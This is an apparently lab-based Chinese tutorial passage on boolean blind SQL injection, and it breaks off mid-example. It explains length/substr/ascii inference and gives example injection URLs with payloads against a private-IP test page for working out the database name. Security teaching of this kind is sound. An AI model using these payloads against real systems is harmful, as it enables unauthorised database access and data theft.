目录
有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。 盲注根据展现方式,分为 boolean 型盲注和时间型盲注。
布尔盲注
Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况;通过 and 1=1 和 and 1=2 可以发现注入点。
布尔盲注注入原理
布尔盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
布尔盲注是指构造 SQL 判断语句,通过查看页面的返回结果来推测哪些 SQL 判断条件是成立的,以此来获取数据库中的数据。
布尔盲注的判断方式
通过长度判断 length():length(database())>=x
通过字符判断 substr():substr(database(),1,1) =‘s’
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
布尔盲注实例
1:判断数据库名的长度
http://172.16.16.10/web/sql/boolean.php?id=1’ and length(database())>=4–+
正确,从而判断数据库名的长度为 4
2:判断数据库名
Substr() 数据库库名 a ~ z,0 ~ 9
http://172.16.16.10/web/sql/boolean.php?id=1‘and